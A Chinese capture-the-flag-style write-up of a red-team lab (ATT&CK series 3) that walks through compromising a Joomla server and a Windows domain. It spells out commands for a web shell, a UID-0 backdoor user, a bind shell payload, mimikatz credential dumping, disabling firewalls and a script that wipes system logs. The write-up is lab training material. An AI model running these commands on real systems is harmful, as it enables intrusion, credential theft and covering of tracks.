ATT&CK实战系列—红队实战-3

admin 2023年11月30日08:34:05评论18 views字数 6082阅读20分16秒阅读模式

0、靶场介绍

ATT&CK实战系列—红队实战(三)是红日安全团队出品的一个实战环境,该靶场模拟真实环境,是个黑盒测试,不提供虚拟机密码。目标是域控中存在一份重要文件。拓扑图如下:

ATT&CK实战系列—红队实战-3

靶场配置如下:

ATT&CK实战系列—红队实战-3

1、信息收集

  • 指纹信息

ATT&CK实战系列—红队实战-3

  • 端口服务

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

  • 目录信息

ATT&CK实战系列—红队实战-3

  • 信息汇总

ATT&CK实战系列—红队实战-3

2、漏洞分析

2.1 漏洞挖掘

漏洞挖掘点:端口爆破、后台爆破、joomla 3.9.12 CMS版本漏洞

1、爆破ssh 、mysql 服务端口

ATT&CK实战系列—红队实战-3

2、爆破joomla 后台账号密码:使用爆破工具https://github.com/TheKingOfDuck/JoomlaCracker

或者使用:msf 爆破模块。

3、joomla 3.9.12 CMS漏洞(利用条件:需要账号密码

(CVE-2020-10238)Joomla <= v3.9.15 远程命令执行漏洞

(CVE-2020-10239)Joomla < v3.9.15 远程命令执行漏洞

(CVE-2020-11890)Joomla < v3.9.15 远程命令执行漏洞

(CVE-2021-23132)Joomla后台代码执行漏洞 3.9.0<Joomla≤3.9.24

2.2 漏洞扫描

使用漏洞工具扫描 https://github.com/OWASP/joomscan

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

2.3 漏洞验证

通过爆破和信息泄露获取了mysql 的账号密码,验证是否可以登录

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

使用官方文档恢复或重置管理员密码。添加一个账号:

ATT&CK实战系列—红队实战-3

MySQL [joomla]> INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

Query OK, 1 row affected (0.040 sec)

MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

Query OK, 1 row affected (0.038 sec)

ATT&CK实战系列—红队实战-3

创建后,登录成功:

ATT&CK实战系列—红队实战-3

3、漏洞利用

3.1 Joomala Getshell

利用Joomla < v3.9.15 远程命令执行漏洞getshell

访问extensions-templates-templates-beez3,然后new file-新建文件test.php

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

然后写入一句话:

ATT&CK实战系列—红队实战-3

使用蚁剑连接 http://192.168.1.138/templates/beez3/test.php

ATT&CK实战系列—红队实战-3

由于站点开启了disable_functions,使用蚁剑内置插件绕过限制。

插件下载:https://github.com/AntSword-Store

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

3.2 主机信息收集

1、获取内核,操作系统和设备信息

uname -a 打印所有可用的系统信息

cat /etc/*-release 发布信息

cat /proc/version 内核信息

2、用户和组

cat /etc/passwd 列出系统所有用户

cat /etc/group 列出系统所有组

cat /etc/shadow 列出所有用户hash(需要root权限)

finger、finger user 当前登录的用户、查询用户的基本信息

3、用户和权限信息

cat /etc/sudoers

可以使用sudo提升到root的用户(需要root权限)

sudo -l

列出目前用户可执行与无法执行的指令

4、环境信息

env 或 set 打印系统环境信息

echo $PATH 环境变量中的路径信息

history 打印历史命令

cat /etc/profile 显示默认系统遍历

cat /etc/shells 显示可用的shell

5、有用的命令

find / -perm -4000 -type f 查找SUID的文件

find / -uid 0 -perm -4000 -type f 查找root权限的SUID文件

find / -perm -2 -type f 找出可写的文件

find / ! -path "/proc/" -perm -2 -type f -print 查找/proc以外的可写文件

find / -perm -2 -type d 找出可写目录

6、服务信息

ps aux 查看进程信息

cat /etc/inetd.conf 由inetd管理的服务列表

cat /etc/xinetd.conf 由xinetd管理的服务列表

cat /etc/exports nfs服务器的配置

7、作业和任务

crontab -l -u %username% 显示指定用户的计划作业(需要root权限)

ls -la /etc/cron* 计划任务

top 列出当前进程

8、网络、路由和通信

/sbin/ifconfig -a 列出网络接口信息

cat /etc/network/interfaces 列出网络接口信息

arp -a 查看系统arp表

route 打印如有信息

netstat -an 打印本地端口开放信息

iptables -L 列出iptable的配置规则

cat /etc/services 查看端口服务映射

9、软件信息

dpkg -l 软件安装(Debian)

rpm -qa 软件安装(Red Hat)

sudo -V 查看sudo的版本信息

3.3 敏感信息收集

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

4、权限提升

4.1 脏牛提权

ATT&CK实战系列—红队实战-3

将 dirty.c 上传到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件,执行 ./dirty password 提权。

exp 下载地址:

https://github.com/FireFart/dirtycow

gcc -pthread dirty.c -o dirty -lcrypt

./dirty passwd

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

  • 未成功

ATT&CK实战系列—红队实战-3

5、权限维持

5.1 添加 root 后门

# 创建一个用户名guest,密码123456的root用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=54321 -f elf > 129.elf

6、横向渗透

6.1 搭建 socks5 代理

  • 使用ssh 搭建一个socks5 代理

ssh -CNfg -D 127.0.0.1:7777 [email protected]

# ssh客户端监听127.0.0.1:7777开启socks服务,将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由ssh服务端转发到目标地址

构建ssh隧道的常用参数:

-C 压缩传输,提高传输速度

-f 后台执行数据传输

-N 建立静默连接

-g 允许远程主机连接本地用于转发的端口

-L 本地端口转发

-R 远程端口转发

-D 动态转发,即SOCKS代理

-p 指定ssh连接端口

ATT&CK实战系列—红队实战-3

  • 使用 chisel 搭建socks5

服务端:

./chisel_linux64 server -p 2080 --socks5

攻击端:

./chisel_linux64 client 192.168.1.138:2080 socks

6.2 内网主机探测

  • 使用PING 命令行

for k in $( seq 1 255);do ping -c 1 192.168.93.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

ATT&CK实战系列—红队实战-3

  • msf--smb_version

auxiliary/scanner/smb/smb_version

set rhosts 192.168.93.1/24

set threads 20

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

6.3 端口探测

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.10

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.20

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.30

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

6.4 漏洞扫描

  • ms17-010 、CVE-2019-0708 漏洞扫描 -- 无漏洞

ATT&CK实战系列—红队实战-3

  • 弱口令爆破 -- mssql 、smb

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

6.5 域内横向--域成员

使用爆破到的账号密码进行渗透

ATT&CK实战系列—红队实战-3

  • 使用 wmi 获取域成员主机权限

proxychains4 wmiexec.py 'administrator:[email protected]'

proxychains4 wmiexec.py 'administrator:[email protected]'

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

  • 上传 mimikatz 获取账号密码

proxychains4 smbclient //192.168.93.20/C$ -U administrator -P 123qwe!ASD

ATT&CK实战系列—红队实战-3

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

  • 开启3389,关闭防火墙,登录域成员

#设置远程桌面端口

reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

#开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

#关闭远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

#检查端口状态

netstat -an|find "3389"

关闭防火墙:

Windows Server 2003 系统及之前版本

netsh firewall set opmode disable

Windows Server 2003 之后系统版本

netsh advfirewall set allprofiles state off

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

6.6 域内横向--域控

proxychains4 wmiexec.py 'TEST.ORG/Administrator:[email protected]'

ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-3

  • 开启3389,关闭防火墙

#设置远程桌面端口

reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

开启3389

Windows Server 2008 和 Windows Server 2012 中开启 3389 端口

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#关闭远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

#检查端口状态

netstat -an|find "3389"

关闭防火墙:

Windows Server 2003 系统及之前版本

netsh firewall set opmode disable

Windows Server 2003 之后系统版本

netsh advfirewall set allprofiles state off

ATT&CK实战系列—红队实战-3

6.7 拿到 FLAG

ATT&CK实战系列—红队实战-3

7、痕迹清理

7.1 Linux

清除命令历史记录

histroy -r #删除当前会话历史记录

history -c #删除内存中的所有命令历史

rm .bash_history #删除历史文件中的内容

HISTZISE=0 #通过设置历史命令条数来清除所有历史记录

在隐蔽的位置执行命令

使用vim打开文件执行命令

:set history=0

:!command

linux日志文件

/var/run/utmp 记录现在登入的用户

/var/log/wtmp 记录用户所有的登入和登出

/var/log/lastlog 记录每一个用户最后登入时间

/var/log/btmp 记录错误的登入尝试

/var/log/auth.log 需要身份确认的操作

/var/log/secure 记录安全相关的日志信息

/var/log/maillog 记录邮件相关的日志信息

/var/log/message 记录系统启动后的信息和错误日志

/var/log/cron 记录定时任务相关的日志信息

/var/log/spooler 记录UUCP和news设备相关的日志信息

/var/log/boot.log 记录守护进程启动和停止相关的日志消息

完全删除日志文件:

cat /dev/null > filename

: > filename

> filename

echo "" > filename

echo > filename

针对性删除日志文件:

删除当天日志

sed -i '/当天日期/'d filename

一键清除脚本:

#!/usr/bin/bash

echo > /var/log/syslog

echo > /var/log/messages

echo > /var/log/httpd/access_log

echo > /var/log/httpd/error_log

echo > /var/log/xferlog

echo > /var/log/secure

echo > /var/log/auth.log

echo > /var/log/user.log

echo > /var/log/wtmp

echo > /var/log/lastlog

echo > /var/log/btmp

echo > /var/run/utmp

rm ~/./bash_history

history -c

7.2 windows

有远程桌面权限时手动删除日志:

开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

wevtutil:

wevtutil el 列出系统中所有日志名称

wevtutil cl system 清理系统日志

wevtutil cl application 清理应用程序日志

wevtutil cl security 清理安全日志

meterperter自带清除日志功能:

clearev 清除windows中的应用程序日志、系统日志、安全日志

清除recent:

在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮

或直接打开C:UsersAdministratorRecent并删除所有内容

或在命令行中输入del /f /s /q “%userprofile%Recent*.*

原文始发于微信公众号(贝雷帽SEC):ATT&CK实战系列—红队实战-3

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月30日08:34:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK实战系列—红队实战-3https://cn-sec.com/archives/2254325.html

发表评论

匿名网友 填写信息